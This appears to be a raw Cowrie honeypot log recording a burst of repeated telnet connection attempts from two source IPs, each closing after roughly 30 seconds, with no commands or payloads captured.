{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c566ff79e94b","protocol":"telnet","message":"New connection: 144.79.218.12:58864 (10.17.0.5:23) [session: c566ff79e94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.395206Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47930,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd7dec195880","protocol":"telnet","message":"New connection: 69.6.225.50:47930 (159.203.135.109:23) [session: cd7dec195880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.432743Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"21233fc74a40","protocol":"telnet","message":"New connection: 69.6.225.50:47940 (159.203.135.109:23) [session: 21233fc74a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.451036Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47946,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa7bbb889f3","protocol":"telnet","message":"New connection: 69.6.225.50:47946 (159.203.135.109:23) [session: afa7bbb889f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.641448Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58870,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfdd134c3461","protocol":"telnet","message":"New connection: 144.79.218.12:58870 (10.17.0.5:23) [session: bfdd134c3461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:10.714986Z"}
{"eventid":"cowrie.session.closed","duration":30.90087890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.047976Z","src_ip":"69.6.225.50","session":"703811fda963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.453307628631592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.058663Z","src_ip":"69.6.225.50","session":"b066d9064c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813814401626587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.087151Z","src_ip":"69.6.225.50","session":"a29ae65b8213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731618404388428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.098389Z","src_ip":"69.6.225.50","session":"e9c77401629d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593120574951172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.129967Z","src_ip":"69.6.225.50","session":"9b2e1b2cc654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47956,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa5295270f6","protocol":"telnet","message":"New connection: 69.6.225.50:47956 (159.203.135.109:23) [session: ffa5295270f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.186353Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47958,"dst_ip":"159.203.135.109","dst_port":23,"session":"172fd7897f1b","protocol":"telnet","message":"New connection: 69.6.225.50:47958 (159.203.135.109:23) [session: 172fd7897f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.332476Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47962,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed41d549002","protocol":"telnet","message":"New connection: 69.6.225.50:47962 (159.203.135.109:23) [session: 6ed41d549002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.374368Z"}
{"eventid":"cowrie.session.closed","duration":30.653287649154663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.391537Z","src_ip":"69.6.225.50","session":"a4ccfd78c9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef26ac2e3b87","protocol":"telnet","message":"New connection: 69.6.225.50:47966 (159.203.135.109:23) [session: ef26ac2e3b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.498740Z"}
{"eventid":"cowrie.session.closed","duration":31.333993434906006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.770794Z","src_ip":"69.6.225.50","session":"b993c13d39bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4d2bab281a1","protocol":"telnet","message":"New connection: 69.6.225.50:47974 (159.203.135.109:23) [session: d4d2bab281a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:11.934025Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47984,"dst_ip":"159.203.135.109","dst_port":23,"session":"634d1a33a8a2","protocol":"telnet","message":"New connection: 69.6.225.50:47984 (159.203.135.109:23) [session: 634d1a33a8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.051741Z"}
{"eventid":"cowrie.session.closed","duration":30.745015859603882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.090733Z","src_ip":"69.6.225.50","session":"4c9ff1fc3c46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47990,"dst_ip":"159.203.135.109","dst_port":23,"session":"1036c75dd310","protocol":"telnet","message":"New connection: 69.6.225.50:47990 (159.203.135.109:23) [session: 1036c75dd310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.132670Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"727cd884544a","protocol":"telnet","message":"New connection: 144.79.218.12:58884 (10.17.0.5:23) [session: 727cd884544a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.200300Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48006,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c8d2b5d8e50","protocol":"telnet","message":"New connection: 69.6.225.50:48006 (159.203.135.109:23) [session: 9c8d2b5d8e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.355907Z"}
{"eventid":"cowrie.session.closed","duration":31.233421564102173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.856943Z","src_ip":"69.6.225.50","session":"b4dc67e828b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48014,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e1ad7e3ed4","protocol":"telnet","message":"New connection: 69.6.225.50:48014 (159.203.135.109:23) [session: 98e1ad7e3ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.957399Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48022,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ceff884d4e8","protocol":"telnet","message":"New connection: 69.6.225.50:48022 (159.203.135.109:23) [session: 9ceff884d4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:12.975306Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cecafba4581","protocol":"telnet","message":"New connection: 144.79.218.12:58886 (10.17.0.5:23) [session: 3cecafba4581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.028487Z"}
{"eventid":"cowrie.session.closed","duration":30.742010354995728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.087909Z","src_ip":"69.6.225.50","session":"2060ed76583d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48030,"dst_ip":"159.203.135.109","dst_port":23,"session":"5711bc84b8df","protocol":"telnet","message":"New connection: 69.6.225.50:48030 (159.203.135.109:23) [session: 5711bc84b8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.138968Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48046,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf60331816e","protocol":"telnet","message":"New connection: 69.6.225.50:48046 (159.203.135.109:23) [session: 6bf60331816e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.159421Z"}
{"eventid":"cowrie.session.closed","duration":31.306958436965942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.249718Z","src_ip":"69.6.225.50","session":"bd4f8acbf65b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48056,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f817cd16ee2","protocol":"telnet","message":"New connection: 69.6.225.50:48056 (159.203.135.109:23) [session: 0f817cd16ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.404670Z"}
{"eventid":"cowrie.session.closed","duration":33.44213151931763,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.521372Z","src_ip":"144.79.218.12","session":"f75816522927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9ed33c3a422","protocol":"telnet","message":"New connection: 69.6.225.50:48066 (159.203.135.109:23) [session: c9ed33c3a422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.703157Z"}
{"eventid":"cowrie.session.closed","duration":31.308574438095093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.853986Z","src_ip":"69.6.225.50","session":"805f8914e86b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48096,"dst_ip":"159.203.135.109","dst_port":23,"session":"0336e11632a8","protocol":"telnet","message":"New connection: 69.6.225.50:48096 (159.203.135.109:23) [session: 0336e11632a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.979682Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58888,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a68b663c4ec","protocol":"telnet","message":"New connection: 144.79.218.12:58888 (10.17.0.5:23) [session: 9a68b663c4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:13.986343Z"}
{"eventid":"cowrie.session.closed","duration":30.382838249206543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.048748Z","src_ip":"69.6.225.50","session":"e5042d5bcd33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b00f669840","protocol":"telnet","message":"New connection: 69.6.225.50:48102 (159.203.135.109:23) [session: 96b00f669840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.317781Z"}
{"eventid":"cowrie.session.closed","duration":30.438770532608032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.322346Z","src_ip":"69.6.225.50","session":"65c3f2ef58c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fb5655f2c5","protocol":"telnet","message":"New connection: 69.6.225.50:48112 (159.203.135.109:23) [session: f9fb5655f2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.359616Z"}
{"eventid":"cowrie.session.closed","duration":31.039204120635986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.390098Z","src_ip":"69.6.225.50","session":"dceb9b45f61c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48120,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac205b38608f","protocol":"telnet","message":"New connection: 69.6.225.50:48120 (159.203.135.109:23) [session: ac205b38608f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.511984Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"13551f5894d8","protocol":"telnet","message":"New connection: 69.6.225.50:48122 (159.203.135.109:23) [session: 13551f5894d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.530816Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48080,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9556225c451","protocol":"telnet","message":"New connection: 69.6.225.50:48080 (159.203.135.109:23) [session: e9556225c451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.785483Z"}
{"eventid":"cowrie.session.closed","duration":34.78615713119507,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:14.893079Z","src_ip":"144.79.218.12","session":"69b29c3f6bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48156,"dst_ip":"159.203.135.109","dst_port":23,"session":"5704500367b1","protocol":"telnet","message":"New connection: 69.6.225.50:48156 (159.203.135.109:23) [session: 5704500367b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:15.210893Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48170,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3cf956bac8","protocol":"telnet","message":"New connection: 69.6.225.50:48170 (159.203.135.109:23) [session: bd3cf956bac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:15.277041Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48176,"dst_ip":"159.203.135.109","dst_port":23,"session":"b860b29f4cbf","protocol":"telnet","message":"New connection: 69.6.225.50:48176 (159.203.135.109:23) [session: b860b29f4cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:15.605865Z"}
{"eventid":"cowrie.session.closed","duration":38.15954518318176,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:15.863408Z","src_ip":"144.79.218.12","session":"c8e630219353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48192,"dst_ip":"159.203.135.109","dst_port":23,"session":"047025d09f29","protocol":"telnet","message":"New connection: 69.6.225.50:48192 (159.203.135.109:23) [session: 047025d09f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:15.963189Z"}
{"eventid":"cowrie.session.closed","duration":30.30995512008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.051437Z","src_ip":"69.6.225.50","session":"a53a20e07d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312798976898193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.078317Z","src_ip":"69.6.225.50","session":"de19b4aa1445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068581581115723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.451279Z","src_ip":"69.6.225.50","session":"0fe41e1c6812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48174,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9a925d01a7c","protocol":"telnet","message":"New connection: 69.6.225.50:48174 (159.203.135.109:23) [session: c9a925d01a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.517305Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48200,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99c88be6057","protocol":"telnet","message":"New connection: 69.6.225.50:48200 (159.203.135.109:23) [session: d99c88be6057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.677101Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48210,"dst_ip":"159.203.135.109","dst_port":23,"session":"c922326133ba","protocol":"telnet","message":"New connection: 69.6.225.50:48210 (159.203.135.109:23) [session: c922326133ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.774096Z"}
{"eventid":"cowrie.session.closed","duration":34.9504919052124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.831781Z","src_ip":"144.79.218.12","session":"a8a73916ef40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48216,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20288aec2f6","protocol":"telnet","message":"New connection: 69.6.225.50:48216 (159.203.135.109:23) [session: c20288aec2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:16.909308Z"}
{"eventid":"cowrie.session.closed","duration":30.481067419052124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.055180Z","src_ip":"69.6.225.50","session":"dd2885fec685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391180515289307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.246418Z","src_ip":"69.6.225.50","session":"e7a10928026d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48230,"dst_ip":"159.203.135.109","dst_port":23,"session":"c04b0cc70410","protocol":"telnet","message":"New connection: 69.6.225.50:48230 (159.203.135.109:23) [session: c04b0cc70410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.372995Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48244,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1e558c0b0f","protocol":"telnet","message":"New connection: 69.6.225.50:48244 (159.203.135.109:23) [session: 5f1e558c0b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.495688Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48246,"dst_ip":"159.203.135.109","dst_port":23,"session":"22eb227d1db2","protocol":"telnet","message":"New connection: 69.6.225.50:48246 (159.203.135.109:23) [session: 22eb227d1db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.542456Z"}
{"eventid":"cowrie.session.closed","duration":34.620980739593506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.548593Z","src_ip":"144.79.218.12","session":"9ee3b4fe25d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58906,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f8043a3d051","protocol":"telnet","message":"New connection: 144.79.218.12:58906 (10.17.0.5:23) [session: 6f8043a3d051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:17.972553Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37542,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba1efca9963","protocol":"telnet","message":"New connection: 69.6.225.50:37542 (159.203.135.109:23) [session: bba1efca9963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.046859Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37528,"dst_ip":"159.203.135.109","dst_port":23,"session":"42fdfec84e90","protocol":"telnet","message":"New connection: 69.6.225.50:37528 (159.203.135.109:23) [session: 42fdfec84e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.050835Z"}
{"eventid":"cowrie.session.closed","duration":30.971112489700317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.064568Z","src_ip":"69.6.225.50","session":"720afffbdd09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7232768535614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.153792Z","src_ip":"69.6.225.50","session":"2b2d0772cd63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76976442337036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.187517Z","src_ip":"69.6.225.50","session":"be7c4f2adb3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37554,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b03906f7f00","protocol":"telnet","message":"New connection: 69.6.225.50:37554 (159.203.135.109:23) [session: 0b03906f7f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.212737Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37562,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a69a0e09a9","protocol":"telnet","message":"New connection: 69.6.225.50:37562 (159.203.135.109:23) [session: f9a69a0e09a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.241450Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58918,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fb6c2650c23","protocol":"telnet","message":"New connection: 144.79.218.12:58918 (10.17.0.5:23) [session: 4fb6c2650c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.574966Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37578,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f70034ce24d","protocol":"telnet","message":"New connection: 69.6.225.50:37578 (159.203.135.109:23) [session: 1f70034ce24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:18.585888Z"}
{"eventid":"cowrie.session.closed","duration":30.487638235092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.092529Z","src_ip":"69.6.225.50","session":"adb64da25d6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985698699951172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.195402Z","src_ip":"69.6.225.50","session":"e141fb11e669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37584,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f8452e51e11","protocol":"telnet","message":"New connection: 69.6.225.50:37584 (159.203.135.109:23) [session: 3f8452e51e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.298602Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5732541272c6","protocol":"telnet","message":"New connection: 69.6.225.50:37594 (159.203.135.109:23) [session: 5732541272c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.410545Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60986,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ec524157a3","protocol":"telnet","message":"New connection: 144.79.218.12:60986 (10.17.0.5:23) [session: 97ec524157a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:19.440311Z"}
